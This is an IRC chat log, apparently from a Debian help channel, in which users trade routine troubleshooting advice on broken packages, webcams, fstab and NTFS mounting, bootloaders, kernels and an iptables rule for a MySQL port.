| 18:37.30 | tosh | eeyore the module I have running is compiled for 2.6.11-1, it would suprise me if it was the old one |
| 18:37.32 | rodmur | goccia: http://astron.berkeley.edu/~mperrin/gnomeviewports.html |
| 18:37.43 | tosh | eeyore this page? http://www.seismo.ethz.ch/linux/webcam.html |
| 18:37.49 | rodmur | goccia: gave me the hint I needed |
| 18:38.02 | eeyore- | tosh: http://www.saillard.org/linux/pwc/ |
| 18:38.07 | rodmur | so thanks all... ttyl |
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| 18:38.46 | tosh | eeyore gonna try and apt-get remove the module I have installed and try rolling my own |
| 18:39.00 | rw` | How do I remove a totaly broken package? I already tried dpkg -r pkg --force-all |
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| 18:39.36 | eeyore- | tosh: ya |
| 18:39.57 | goccia | sawfish is ancient |
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| 18:40.53 | eeyore- | rw`: if the pre-remove / post-remove scripts / whatever are broken, you have no choice but to edit the scripts to "short-cut" out of them (e.g., exit 0) |
| 18:41.03 | eeyore- | rw`: and *then* try to dpkg --remove |
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| 18:42.46 | rw` | eeyore-, really? weird, thanks. |
| 18:42.54 | eeyore- | rw`: it's not weird. |
| 18:43.19 | eeyore- | rw`: debian relies on exit codes from package installation/removal scripts. if they're written badly, they WILL prevent packages from being installed/uninstalled |
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| 18:43.28 | eeyore- | rw`: it's a bad design, but you're stuck with it :-) |
| 18:43.51 | rw` | eeyore-, If I am sure of what I am doing and I am asking for it to remove, it should do what I say. |
| 18:43.56 | rw` | eeyore-, I agree. |
| 18:44.04 | lars^ | in which packages is "import" in? |
| 18:44.09 | stew | rw`: you other choice is to unbreak the package or to make the rm scripts at least believe the package is non-broken |
| 18:44.19 | asg | lars^: /msg dpkg search |
| 18:44.40 | rw` | yeah, i truncated the file... |
| 18:44.52 | eeyore- | rw`: exit 0 would be a better choice |
| 18:44.56 | lars^ | asg: no respons |
| 18:45.16 | asg | lars^: then you didn't follow the helpful 'apt-file' adviece |
| 18:45.21 | asg | s/adviece/advice/ |
| 18:45.33 | Bac9 | anyone here set up fax modems with hylafax and can help with autoanswer |
| 18:45.34 | rw` | eeyore-, I am still testing the package, I will have to commit changes in the svn and build the package again. |
| 18:46.00 | rw` | eeyore-, but look how bad is this. I have no editor in this machine and apt-get doesn't work now :-) |
| 18:46.05 | tosh | eeyore compiled and installed, the camstream program crashes less (it still crashes on certain events), but still no images :-/ |
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| 18:46.19 | tosh | eeyore what do you use for snapshots? |
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| 18:46.48 | eeyore- | tosh: i use "motion". it's for baby camera :-) |
| 18:46.48 | stew | rw`: you certainly don't need an editor to put exit 0 at the top of a script |
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| 18:47.04 | eeyore- | tosh: it's like a streaming server i can point firefox at |
| 18:47.05 | Simplexe | i searched in the bugs of debian but find noth like my problem : while loading the module ohci texas instruments.... the hardware detection stops . |
| 18:47.10 | tosh | eeyore gonna try that |
| 18:47.13 | rw` | stew, i fixed this already, im talking about the design... |
| 18:47.28 | tosh | eeyore does it have a child dependency? or can I just install it ;p |
| 18:47.44 | eeyore- | tosh: not sure. compiled from source, seemed happy. |
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| 18:48.41 | rw` | stew, eeyore- what if I have no scripts and it still being a problem to remove, I have another package in this situation. |
| 18:48.49 | eeyore- | rw`: yeah well, you kind of learn about them. each distro has its own quirks |
| 18:49.15 | eeyore- | rw`: that would depend on the manner in which it fails to remove. will have to see some output. |
| 18:49.35 | eeyore- | rw`: but, my dpkg skillz are somewhat outdated :-) i haven't used debian actively in a few years |
| 18:49.41 | eeyore- | rw`: this is mostly from memory |
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| 18:50.04 | rw` | eeyore-, pmc:~# dpkg -r pmc-login --force-all dpkg: error processing pmc-login (--remove): Package is in a very bad inconsistent state - you should reinstall it before attempting a removal. dpkg - warning: ignoring request to remove --force-all which isn't installed.Errors were encountered while processing: pmc-login |
| 18:50.28 | eeyore- | rw`: try to force it to install first, and then remove it :-> |
| 18:51.20 | rw` | eeyore-, with dpkg -i pkg? it fails because part of the script is failing, so dpkg removes it. |
| 18:51.30 | rw` | let me use a paste system to show. |
| 18:51.43 | tosh | eeyore got it installed and its running, but its not doing anything... whats the default behavior of motion? |
| 18:51.52 | eeyore- | rw`: ah. let's *fix* the install script so it succeeds, then :-> |
| 18:52.21 | ryan` | !ipv6 |
| 18:52.21 | dpkg | ipv6 is, like, at http://www.ipv6.org/, but supported in potato, or at http://people.debian.org/~csmall/ipv6/ Also known as "ipng", or read RFC 1924, or /msg ChanServ list #*ipv6* |
| 18:52.30 | eeyore- | tosh: it just sits there grabbing frames and wait for a client connection to port 10000 (i *think*) and then it streams jpeg's to the client (a web client) |
| 18:52.56 | ryan` | Is there any way to cleanly disable IPv6 in sarge? |
| 18:53.02 | rw` | eeyore-, http://paste.lisp.org/display/10251 |
| 18:53.21 | rw` | eeyore-, hmmm, yeah that should work. |
| 18:53.37 | eeyore- | rw`: again, you're getting around the badly-behaved scripts :-) |
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| 18:54.13 | eeyore- | rw`: this was one of the first things that really pissed me off about debian, that packages can sometimes be uninstallable and oops, subsequently uninstallable :-) |
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| 18:54.42 | eeyore- | uh, you know what i mean. un-uninstallable :-) |
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| 18:55.47 | rw` | eeyore-, true! |
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| 18:56.32 | goccia | flame flame |
| 18:56.35 | goccia | hahahah |
| 18:56.40 | RedDrake | ? |
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| 18:57.08 | RedDrake | just do ar -x package.deb |
| 18:57.08 | zophyx | i screwed up |
| 18:57.23 | RedDrake | and you get control.tar.gz and data.tar.gz |
| 18:57.33 | eeyore- | RedDrake: you don't want to install it. you want to remove it. |
| 18:57.38 | RedDrake | yes |
| 18:57.48 | RedDrake | first you need to see where it has it's files |
| 18:57.49 | eeyore- | RedDrake: packages that are in "inconsistent" states are the ones you *want* to remove, especially |
| 18:57.57 | RedDrake | and what was changed by the inst scripts |
| 18:57.59 | eeyore- | RedDrake: oh sure, i know about "ar -x" :-) it's trivial |
| 18:58.08 | tosh | eeyore running it on a certain port and target_dir = /tmp, I start it, it gives no errors (quiet mode is off, so I should know), but it doesn't do anything. no captured images, no webserver, nada |
| 18:58.17 | Bac9 | anyone here set up fax modems with hylafax and can help with geting it to autoanswer? |
| 18:58.32 | zophyx | when i get an error like this from apt-get "totem: Depends: totem-xine (= 0.100-5) but 1.0.4-1 is to be installed" how do i correct things so that the info about newer version is removed ? |
| 18:58.36 | eeyore- | tosh: hmm :-) well, will have to check later then. as far as not getting picture, that's odd. you should at least see some snow |
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| 18:59.07 | eeyore- | tosh: so that really bothers me. what tools have to tried to get the pictures out of the webcam? X tv? gnome tool of some sort? |
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| 18:59.20 | tosh | eeyore camE, camstream, webcam |
| 18:59.32 | eeyore- | tosh: they all show the same thing? black picture? |
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| 18:59.43 | tosh | eeyore yes |
| 18:59.47 | eeyore- | tosh: have you tried the setpwc tool to maybe try different resolution? |
| 18:59.52 | tosh | eeyore good idea |
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| 18:59.57 | eeyore- | tosh: setpwc should be able to help with some diagnostics |
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| 19:00.43 | eeyore- | gtg, pick up kid from daycare |
| 19:00.56 | tosh | eeyore I don't have setpwc |
| 19:01.13 | szzs | hi, it seems that i cant adjust the monitors refresh rate. i put the right values in xf86 config file and restarted X witn ctrl alt backspace and now the control center shows the correct refresh rate but the monitor doesnt run at that rate. the monitors builtn menu shows also. does anyone know? |
| 19:01.15 | tosh | eeyore ah, have to compile it |
| 19:01.18 | tosh | eeyore thanks for your time |
| 19:01.38 | tarvok | Can somebody help me figure out why I can't get my ntfs partition to mount upon startup? |
| 19:02.02 | resiak | tarvok: What's the line in fstab ? |
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| 19:02.42 | tarvok | resiak: /dev/hda1/winCntfsdefaults,errors=remount-ro 0 1 |
| 19:03.07 | tarvok | I basically just copied the entry for the root partition and changed it to the ntfs partition. |
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| 19:03.08 | resiak | tarvok: And what happens when you boot ? |
| 19:03.26 | LSorensen | : you don't want that 1 at the end. |
| 19:03.34 | LSorensen | tarvok: you want 0 0 for ntfs |
| 19:03.35 | tarvok | It doesn't mount. I have another line for the hdb1 (vfat) that is almost identical and works properly. |
| 19:03.52 | tarvok | LSorensen: I'd like to understand why. What do those numbers do? |
| 19:03.53 | LSorensen | tarvok: and does your krnel have ntfs support? |
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| 19:04.07 | LSorensen | tarvok: if it should run fsck on it |
| 19:04.23 | LSorensen | tarvok: also does /winC exist? |
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| 19:05.08 | LSorensen | tarvok: doe sit mount if you do: mount -a or mount /winC ? |
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| 19:05.41 | tarvok | It mounts if I mount -t ntfs /dev/hda1 /winC |
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| 19:06.07 | LSorensen | tarvok: that doens't say abything for your fstab. does mount -a or mount /winC work? |
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| 19:06.58 | tarvok | It doesn't. |
| 19:07.21 | LSorensen | tarvok: well then certainly something is wrong with the syntax of the line |
| 19:07.24 | LSorensen | tarvok: no error? |
| 19:07.34 | RedDrake | tarvok: make a scrip that does: mount -t ntfs /dev/hda1 /winC |
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| 19:07.48 | RedDrake | name it S01winC |
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| 19:07.59 | RedDrake | and put in rc2-5.d |
| 19:08.01 | RedDrake | :D |
| 19:08.09 | tarvok | LSorensen: wrong fs type, bad option, or bad suberblock on /dev/hda1 |
| 19:08.19 | LSorensen | tarvok: this one works for me: /dev/hde1 /nt ntfs defaults,ro 0 0 |
| 19:08.35 | tarvok | LSorensen: I'll try it. |
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| 19:08.43 | RedDrake | <PROTECTED> |
| 19:08.48 | RedDrake | this also works |
| 19:08.48 | LSorensen | tarvok: what does this say: file -s /dev/hda1 |
| 19:08.55 | RedDrake | and ro is useless with ntfs |
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| 19:09.03 | RedDrake | as it is always mounted read only |
| 19:09.13 | LSorensen | RedDrake: true, but it makes sure it doesn't try rw and get an error message about it |
| 19:09.20 | RedDrake | right :) |
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| 19:09.30 | LSorensen | RedDrake: I hate seeing 'can't mount /cdrom rw' messages |
| 19:09.44 | RedDrake | yeah |
| 19:09.47 | awj | I don't see any news from dpkg about kernel-image-2.6.12. Is it just sitting in NEW currently? |
| 19:09.48 | RedDrake | I agree |
| 19:09.57 | LSorensen | awj: linux-image-2.6.12 |
| 19:10.02 | LSorensen | awj: name change |
| 19:10.12 | Lafy | yay iptables work. thanks guys |
| 19:10.30 | tarvok | LSorensen: Should I paste the results in #flood? |
| 19:10.36 | LSorensen | tarvok: sure |
| 19:11.02 | szzs | hi, it seems that i cant adjust the monitors refresh rate. i put the right values in xf86 config file and restarted X witn ctrl alt backspace and now the control center shows the correct refresh rate but the monitor doesnt run at that rate. the monitors builtn menu shows also. does anyone have an idea where can i adjust it permanently? |
| 19:11.26 | awj | I don't see linux-image-2.6.12 in unstable either. |
| 19:11.31 | RedDrake | erm, what would be the best way to install modules to the kernel in a chroot image |
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| 19:11.42 | RedDrake | I just need ideas, thanks :) |
| 19:12.11 | tvn | how can I achieve something similar to this for(i=2 ; i <= 16 ; i^=2) in a bash script ? I want i to be 2 4 8 16 , it seems bash cannot do ^= |
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| 19:12.57 | LSorensen | awj: linux-image-2.6.12-1-cputype |
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| 19:13.13 | echnaton | how to get an initrd.img file with make-kpkg |
| 19:13.17 | echnaton | ? |
| 19:13.30 | awj | Yeah, I know. Maybe it just wasn't on my local mirror yet. I'm seeing it on ftp.debian.org |
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| 19:13.49 | dondelelcaro | tvn: so just i=((i**2)) |
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| 19:13.52 | shingouz | echnaton: --initrd if i recall. man make-kpkg |
| 19:14.03 | RedDrake | yeah |
| 19:14.12 | dondelelcaro | tvn: or easier for i in 2 4 8 16; do ... done; |
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| 19:14.34 | tvn | dondelelcaro: I see .. thanks |
| 19:14.40 | RedDrake | dondelelcaro: what if he wants to go to 2^100 :S |
| 19:14.52 | RedDrake | nvm |
| 19:14.54 | dondelelcaro | RedDrake: uh, I already gave the example for that |
| 19:14.56 | RedDrake | I'm blind |
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| 19:15.01 | Whisky_ | any idea how to get a US Robotics 56k Faxt Ext *USB* modem working on Debian ? |
| 19:15.01 | RedDrake | sorry |
| 19:15.06 | awj | Thanks for the help, guys |
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| 19:15.46 | BobW | anyone know how to create a disk image to import to autopsy |
| 19:16.00 | pop1 | i need help, i am not in the channel windows, could someone help me to find a irc channel about .net develoment |
| 19:16.49 | shingouz | Whisky_: the only thing i can think of is if the modem looks like a serial port when you plug it in. see if it has a serial converter somewhere making it a "normal" modem. after that use it as a hardware modem. if it needs a driver... google or s.o.l. :( |
| 19:17.04 | echnaton | is initrd neccessary? |
| 19:17.28 | shingouz | echnaton: if you compile all you need to access your root fs statically it is not |
| 19:17.40 | resiak | echnaton: Depends on how you build your kernel. |
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| 19:18.02 | epictetus | pop1: #2,000 |
| 19:18.20 | epictetus | just kidding. |
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| 19:18.27 | Whisky_ | shingouz, thanks...:) |
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| 19:21.07 | wolfe | how can you re-run the XFree86 -configure from the same console that you are already in? (my monitor setting are wrong the screen flickers, giving me a headache.) new to debian btw |
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| 19:21.34 | stew | !drxx wolfe |
| 19:21.34 | dpkg | wolfe: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root) || if you have edited the X config file by hand,used some other program like xf86config, ask me about <xmd5> |
| 19:21.42 | szzs | what video card |
| 19:21.42 | szzs | you have, and preferably also the chipset it uses |
| 19:22.01 | szzs | hi, how can i find out what video card i have and what chipset it uses? |
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| 19:22.09 | wolfe | i have no idea what video card i have (donated box0 |
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| 19:22.17 | stew | wolfe: lspci |
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| 19:22.54 | wolfe | VGA compatible controller: ATI Technologies Inc 3D Rage I/II 215GT[Mach64 GT] (rev 48) |
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| 19:23.10 | wolfe | looks greek to me lol |
| 19:23.19 | stew | wolfe: pick the ati driver |
| 19:23.24 | wolfe | k |
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| 19:23.46 | PerfDave | If I'm trying to patch a postinst script, how do I test it? If I use "apt-get --reinstall install", it unpacks the script from the .deb and overwrites my changes. |
| 19:23.50 | r3m | Hi which version of debian got the 2.6 kernel please, can you copy the link i download a iso but this is a old kernel |
| 19:23.57 | Lin | Hi all.. I'm suffering a weird problem. When I run bind from console as root user it runs but returns: none:0: open: /etc/bind/rndc.key: permission denied ... couldn't add command channel ::1#953: permission denied (in daemon.log), but when I run the startup scripts it gives the response: couldn't open pid file '/var/run/bind/run/named.pid': Permission denied. rndc.key are ownerd by bind.bind, /etc/bind/ are owndeb by root.bind (without group write permissions), |
| 19:24.13 | PerfDave | r3m: Which ISO did you download? |
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| 19:24.31 | r3m | Perf woody i think |
| 19:24.36 | r3m | i need sarge |
| 19:24.36 | r3m | ? |
| 19:24.37 | wolfe | how do i find the "bus identifier" ? |
| 19:24.52 | dondelelcaro | wolfe: lspci should tell you; however in most instances you won't need to specify it. |
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| 19:25.07 | PerfDave | r3m: The current stable release is 3.1; it contains 2.6 kernel images. |
| 19:25.27 | resiak | PerfDave: dpkg --purge; dpkg -i ? |
| 19:25.33 | wolfe | 0000:00:09.0 VGA compatible controller: ATI Technologies Inc 3D Rage I/II 215GT[Mach64 GT] (rev 48) |
| 19:25.42 | r3m | thanks perf ! |
| 19:25.49 | resiak | !tell r3m -about nicktab |
| 19:26.02 | PerfDave | resiak: Doesn't that involve repacking the postinst script back into the .deb? |
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| 19:26.37 | vegard | so are the pre-built packages that come with debian statically linked? |
| 19:26.38 | wolfe | dondelelcaro: 000:00:09.0 or leave it pblank? |
| 19:26.46 | stew | wolfe: leave it blank unless you are on a mac or have 2 video cards |
| 19:26.48 | r3m | sanford sharpie marker are ok for cd-rom or that can broke something |
| 19:27.10 | PerfDave | vegard: Depends on the packagel. In general, no. |
| 19:27.10 | LSorensen | PerfDave: if you want to change the postinst in a packge, you really should get the package source, change it and rebuild the package and then dpkg -i the result |
| 19:27.16 | markit | any snort user here? |
| 19:27.34 | vegard | PerfDave: right, thanks. that helps. |
| 19:27.34 | wolfe | stew k thatnks |
| 19:27.35 | LSorensen | PerfDave: or for a cheap hack, use dpkg-deb to extract the file contents and the control stuff, change the postinst, and repack it then install with dpkg -i |
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| 19:27.55 | LSorensen | PerfDave: or just edit postinst, and run dpkg --configure packagename again (assuming it never succeeded before |
| 19:28.03 | PerfDave | LSorensen: Then why are the (pre|post)(inst|rm) scripts saved in /var/lib/dpkg/info ? |
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| 19:28.26 | LSorensen | PerfDave: if you use dpkg-repack they will be included in the repacked deb |
| 19:28.34 | PerfDave | LSorensen: Fair enough |
| 19:28.35 | LSorensen | PerfDave: and some of them are used on uninstall |
| 19:28.40 | r3m | PerfDave: 3.1_r0a is ok? |
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| 19:28.51 | r3m | what r0a mean |
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| 19:29.21 | PerfDave | r3m: 3.1r0a is the one you want, yes. |
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| 19:29.40 | wolfe | ok do i have to reboot before i notice the changes? |
| 19:29.41 | r3m | Perfdave 4 cd is enought to got the most known package? |
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| 19:29.51 | MATT3 | hi |
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| 19:29.54 | PerfDave | r0a means "We released with a minor bug and fixed it quickly, but it wasn't significant enough to update the revision number" |
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| 19:30.10 | PerfDave | r3m: Read the Installation Manual - you can just use the netinstall ISO and download the rest off the 'net. |
| 19:30.19 | MATT3 | someone coul help me to install NVidia drivers...i really don't know how i've to do...:( |
| 19:30.29 | PerfDave | MATT3: /msg dpkg nvidia |
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| 19:31.11 | r3m | Perf 3.1 come with Xfree or x.org |
| 19:31.52 | stew | r3m: xfree. /msg dpkg nicktab |
| 19:32.09 | r3m | Paavo: |
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| 19:32.11 | r3m | ok |
| 19:32.15 | Col_Kernel | hi. is there a way to switch terminals other than pressing Ctrl+Alt+Fn? my keyboard does not work properly under X ... |
| 19:32.15 | r3m | work |
| 19:32.28 | LSorensen | r3: 3.1r0a means debian 3.1 revision 0 (the a means the minor bug on the cd installer was fixed) |
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| 19:33.15 | tucoz | Hi, I don |
| 19:33.17 | stew | Col_Kernel: sudo chvt n |
| 19:33.30 | Col_Kernel | stew: thx |
| 19:33.43 | roler | how can I use iptables to block a certain tcp port from a certain IP address on a machine? |
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| 19:34.07 | tucoz | I don't know if this is the right channel, but I am trying to set the resolution to 1200x800 in kde running debian |
| 19:34.28 | csdgp | roler: man iptables |
| 19:34.31 | ircdevil | to work - or not to work |
| 19:34.33 | Zipp0 | how i can to download UNRAR pack. to my hard disk with all dependencys, just download it, not installl it |
| 19:34.45 | faked | <PROTECTED> |
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| 19:35.01 | resiak | Zipp0: man apt-get |
| 19:35.09 | dondelelcaro | Zipp0: read about the -d option |
| 19:35.26 | spoopin | roler: http://www.netfilter.org/documentation/index.html#documentation-howto |
| 19:35.40 | the_devious | ] |
| 19:35.45 | Zipp0 | resiak, i tried with apt-get -d, but not works |
| 19:35.51 | resiak | !doesn't work |
| 19:35.51 | dpkg | Look buddy, doesn't work is an ambiguous statement. Does it sit on the couch all day? Does it want more money? Does it waste its time on IRC all day long? Please be specific! Define 'it' and what it isn't doing. |
| 19:36.04 | dondelelcaro | Zipp0: it did; ls -l /var/cache/apt/archives/unrar*; |
| 19:37.04 | tucoz | faked: Do I need to update to kde3.4? I have installed debian testing, with kernel 2.6.11, and I think I run kde3.3 |
| 19:37.19 | Zipp0 | dondelelcaro: ls: /var/cache/apt/archives/unrar*: No such file or directory |
| 19:38.13 | Zipp0 | dondelelcaro: i have been installed unrar, but i need install it on another PC without internet |
| 19:38.17 | dondelelcaro | Zipp0: if you actually downloaded the .deb, and the package name was unrar; you will see it there. |
| 19:39.05 | dondelelcaro | Zipp0: in that case, just use your web browser to download it from something like http://http.us.debian.org/debian/pool/non-free/u/unrar-nonfree/ |
| 19:39.16 | dondelelcaro | (or use the --reinstall flag) |
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| 19:40.59 | Simplexe | i've installed debian with lilo 22.3.1 on boot ,and now i cannot acced to the partition where i have windows |
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| 19:41.12 | kdurock | hi |
| 19:41.20 | Zipp0 | dondelelcaro: but unrar .deb package, do not have dependency files |
| 19:41.44 | tarzeau | Simplexe: you can't mount your windows partition? |
| 19:41.59 | kdurock | hi |
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| 19:42.11 | kdurock | i'am from brazilian/ |
| 19:42.14 | Simplexe | i did'nt tried, but wanna boot on windows now |
| 19:42.30 | kdurock | what's ypu name |
| 19:42.35 | kdurock | anybody1 |
| 19:42.39 | kdurock | alguem |
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| 19:43.25 | stew | !br |
| 19:43.25 | dpkg | Por favor use #debian-br (/j #debian-br) para ajuda em portugues. |
| 19:43.37 | stew | oh, he's gone |
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| 19:43.43 | Simplexe | tarzeau, can u tell me how to have both debian and windows on lilo in the boot . |
| 19:43.59 | ufoalien | (hihi) |
| 19:44.03 | Bac9 | is there a way to get hylafax to only answer incoming fax calls? |
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| 19:44.09 | csdgp | Simplexe: look in the lilo man file for an example of an "other" section |
| 19:44.27 | mne | hi there ! I want tu securely tunnel my internet connection over a server which should act as router. anyone knows a sebian package that can do this ? I was thinking of some VPN solution. |
| 19:44.35 | stew | Simplexe: man lilo.conf |
| 19:44.49 | dondelelcaro | Zipp0: uh, if you just have the .deb; you necessarily won't have any files that it's dependent upon. |
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| 19:45.05 | tarzeau | Simplexe: sure, just edit /etc/lilo.conf and run it again |
| 19:45.15 | tarzeau | Simplexe: but is there any reason you chose lilo and not GNU GRUB? |
| 19:45.22 | dondelelcaro | Zipp0: but considering the fact that it only depends on common libraries, you don't want to isntall those .debs anyway. |
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| 19:45.42 | Simplexe | no , which one is the best ?? |
| 19:45.56 | dondelelcaro | (and yes, the .deb does indicate which packages it depends on... that's what DEBIAN/control is for in the control.tar.gz |
| 19:46.15 | Simplexe | tarzeau, or exactly what's the diffirence between the grub and lilo . |
| 19:46.20 | dondelelcaro | Simplexe: they're different; the default is now grub. If you don't know, use grub. |
| 19:46.33 | tarzeau | Simplexe: grub is great. lilo sucks |
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| 19:46.51 | stew | !lilo->grub |
| 19:47.00 | Simplexe | tarzeau, but now i have lilo how to replace it with grub |
| 19:47.03 | Simplexe | ? |
| 19:47.29 | stew | Simplexe: /msg dpkg lilo->grub |
| 19:48.41 | tarzeau | Simplexe: look what stew says |
| 19:48.58 | tarzeau | Simplexe: try /me slaps lilo around with a large trout |
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| 19:49.58 | roler | if I setup iptables to deny a port on an ip, and do an external nmap scan, is it still supposed to show that port? |
| 19:50.22 | tarzeau | roler: which ip and port is that? |
| 19:51.03 | roler | tarzeau; 3306 for mysql. I have 3 ip's on a box. 127.0.0.1, and two public IPs. I can't bind mysql to two IPs, so I am forced to block it using iptables from the one IP I dont want it available on |
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| 19:52.47 | roler | tarzeau; right now it says 'filtered'... |
| 19:52.57 | tarzeau | roler: that's fine |
| 19:53.03 | dondelelcaro | roler: yes, that's normal, because you're dropping all trafic to that port. |
| 19:53.06 | tarzeau | roler: can you tell the both public ips? |
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| 19:54.14 | roler | tarzeau; 209.11.240.163 209.11.240.165 |
| 19:54.23 | luminerd | Hello, I've got a computer at my office that needs some updating, I have 2 computers connected to the net here, and one at the office which does not have net. My home computers are Slackware and Micro$loth and the office one is Debian-Edu. I'd like to get all the updates to my work computer....some new programs and such. Someone made me a Gnome package (ftp.skolelinux.no/cd-sarge/debian-edu_sarge-i386-gnome-addon.iso) but I'm not |
| 19:54.23 | luminerd | sure how to use it and whether or not I can also put other programs on the same CD...help appreciated as I need to duplicate this machine to 12 other systems once I am finished, and when it gets Internet it will be a day before we open, leaving me not enough time at all! |
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| 19:55.23 | tarzeau | roler: you filter the 2nd one? |
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| 19:55.57 | roler | tarzeau; ya. don't want anyone to access 3306 on .165 |
| 19:56.02 | dondelelcaro | luminerd: you can just use apt-zip or similar to make a list of the packages that you need to have to update those systems, and then use that to burn a cd or dvd at a place where you have a network connection. |
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| 19:56.18 | Simplexe | i saw the fiel lilo.conf and i find that there is other with label=windows |
| 19:56.34 | Simplexe | but in the boot directly goes to linux |
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| 19:56.41 | tarzeau | roler: that's fine then |
| 19:56.44 | Vyrus001 | anybody here use use Net::MySQL;? |
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| 19:57.06 | roler | super thanks |
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| 19:57.26 | luminerd | dondelelcaro, thats the thing, I don't have network or internet on any of these machines |
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| 19:57.40 | dondelelcaro | luminerd: well, you've got to have network on *some* machine. |
| 19:57.52 | resiak | !anyone use |
| 19:57.52 | dpkg | No, no one uses it, not even the people who use it. |
| 19:57.52 | TheAsp | Vyrus001: if you want to use MySQL with perl, DBI with DBD::Mysql is probably the best choice |
| 19:58.05 | luminerd | dondelelcaro, I do not have network no. Internet yes |
| 19:58.09 | dondelelcaro | luminerd: whatever machine that is is the one that you'll burn the apt-zip or the sarge dvds on |
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| 19:58.25 | luminerd | dondek, ok...but I don't have debian on the Internet machines |
| 19:58.46 | RIQUINHU | oi |
| 19:58.47 | dondelelcaro | luminerd: doesn't matter. If you can run a shell, apt-zip will work; if not, the sarge dvds will work. |
| 19:58.56 | luminerd | ok brb thanks :D |
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| 19:59.07 | dondek | luminerd: :) wrong nickname |
| 19:59.09 | jasoncohen | what's the best way to resize a ext3 root partition? i tried resizing it in the live cd but it said the device was being used (swap was on the same HD). should i remove the journal, resize with resize2fs and then re-create the journal? |
| 19:59.22 | jasoncohen | (the live cd being an ubuntu live cd with gparted) |
| 19:59.23 | _Lord_ | ae riquinho |
| 19:59.28 | LSorensen | jasoncohen: parted won't do it? |
| 19:59.31 | _Lord_ | RESPONDI LA |
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| 19:59.39 | _Lord_ | NO #AEW |
| 19:59.39 | TheAsp | jasoncohen: do it inside of parted, make sure nothing is mounted |
| 19:59.46 | LSorensen | jasoncohen: resize2fs doesn't resize partitions, only the filesystem |
| 19:59.57 | _Lord_ | CHANNEL ONLY BRASILIANS ENTER CHANNEL #AEW |
| 19:59.57 | dddss | <PROTECTED> |
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| 20:00.10 | LSorensen | jasoncohen: qtparted has a graphical interface if you think that makes it better |
| 20:00.15 | jasoncohen | ok |
| 20:00.15 | dondelelcaro | !tell _Lord_ -about br |
| 20:00.16 | TheAsp | qtparded is defunct |
| 20:00.21 | TheAsp | afaik |
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| 20:00.54 | jasoncohen | doesn't gparted use parted? |
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| 20:02.01 | Unified | re |
| 20:02.14 | Unified | how do i have to configure the kernel in order to get a working cpufreqd? |
| 20:02.21 | Simplexe | can u explain me : edit /etc/kernel-img.conf, so both postinst_hook and postrm_hook are equal to /sbin/update-grub |
| 20:02.26 | jasoncohen | TheAsp, the only partition that was mounted when i tried using gparted on the hoary live-cd was swap |
| 20:02.30 | Unified | it tells me i have to active cpufreq in the kernel, but, in my opinion, it is... |
| 20:02.31 | jasoncohen | and it still said the device was being used |
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| 20:02.39 | dondelelcaro | Simplexe: yes; what about it? |
| 20:02.45 | [GABRI] | any people have cpufreq? |
| 20:03.02 | dondelelcaro | [GABRI]: just ask your question. |
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| 20:03.24 | Simplexe | dondelelcaro, after editing the file , i must find postinst... ?? |
| 20:03.26 | [GABRI] | what module of the kenerl it must up for amd mobile sempron in cpu scaling? |
| 20:03.54 | ouch | i am about to install sarge on my laptop..does anyone know if the senao cards work with sarge out of the box? |
| 20:03.55 | omnistegan | Can somebody here direct me to the information on getting new Nvidia video card drivers? I tried the nv driver and had no luck |
| 20:04.11 | ssb | how to leave a comment in bugreport? is just sending message to <number>@bugs.debian.org with arbitrary subject and content enough? |
| 20:04.25 | dondelelcaro | Simplexe: no, that's just what the kernel image scripts call. |
| 20:04.50 | Simplexe | dondelelcaro, what i have to in this file ? |
| 20:05.12 | Simplexe | dondelelcaro, what i have to do in this file ? |
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| 20:05.42 | LSorensen | ssb: normally works yes |
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| 20:07.05 | Simplexe | dondelelcaro, can u expalin me more ? |
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| 20:07.32 | ssb | LSorensen, how long usually does it take for my message to appear in bugreport? |
| 20:07.44 | luminerd | dondek, huh? |
| 20:07.46 | dondelelcaro | ssb: ~15 minutes |
| 20:07.53 | ssb | dondelelcaro, thanks |
| 20:08.14 | luminerd | dondelelcaro, where can I get apt-zip, and is it GUIfied and easy to use or console only? |
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| 20:08.35 | LSorensen | ssb: depends on your mail server and such. I would say under 5 minutes in my experience |
| 20:08.47 | tarzeau | luminerd: it's bad to assign console with not easy |
| 20:08.56 | LSorensen | dondelelcaro: apt-zip ? |
| 20:09.03 | tarzeau | luminerd: lftp is a console ftp client, but it's by far more easy than any gui client i've seen |
| 20:09.12 | LSorensen | luminerd: how come a console program can't be easy to use? |
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| 20:09.19 | tarvok | LSorensen: Sorry it took me so long to get back. Well, I've got /dev/hda mounted at winC... with root only permissions. chmod won't touch it. How do I change that? |
| 20:09.19 | Lee__ | would one know of a utility to log each time a compact flash card is written to? |
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| 20:09.43 | Simplexe | can anyone explain more the directives to switch from lilo to grub |
| 20:09.45 | Simplexe | ?? |
| 20:09.48 | LSorensen | tarvok: change the umask you mount it with. you can't change ANYTHING on the ntfs drive, and being windows it doesn't have a concept of unix permissions |
| 20:09.50 | Coyctecm | is it enough to use only make-kpkg when making deb package from compiled kernel? without no options? |
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| 20:09.56 | tarzeau | Simplexe: apt-get install grub |
| 20:09.59 | LSorensen | tarvok: so mount has to fake it with umask flags |
| 20:10.10 | tucoz | I can not find emacs with apt-get install emacs |
| 20:10.18 | tarzeau | tucoz: try apt-cache search |
| 20:10.21 | Lee__ | Coyctecm: make-kpkg --rootcmd=fakeroot kernel_image works for me |
| 20:10.21 | LSorensen | Simplexe: apt-get install grub; grub-install /dev/hda (or whichever you like); update-grub |
| 20:10.24 | tarvok | LSorensen: Is that in fstab? |
| 20:10.26 | tucoz | ok |
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| 20:10.36 | tarzeau | Lee__: which kernel? |
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| 20:10.47 | LSorensen | Simplexe: and then there are some handy grub-update hooks you can add to /etc/kernel-image.conf to make it auto added and remove kernels when the packages are installed |
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| 20:10.51 | LSorensen | tarvok: yes |
| 20:10.52 | LSorensen | tarvok: man mount |
| 20:10.56 | LSorensen | tarvok: look for ntfs options |
| 20:11.00 | Lee__ | tarzeau: any kernel. I'm using 2.6.12.3 ATM |
| 20:11.05 | Xen | hey, another clueless newbie here |
| 20:11.06 | tarvok | LSorensen: Thanks for your help. I'll look this up. |
| 20:11.09 | Xen | anybody got a sec? |
| 20:11.18 | LSorensen | ask? |
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| 20:11.25 | luminerd | tarzeau, I didn't say console wasn't easy |
| 20:11.27 | Lee__ | second's up, sorry. |
| 20:11.30 | tarzeau | Lee__: modular or only made to run on your computer? |
| 20:11.34 | luminerd | I just asked if it was Easy and GUIfied or Console :P |
| 20:11.44 | ryan` | xen: just ask |
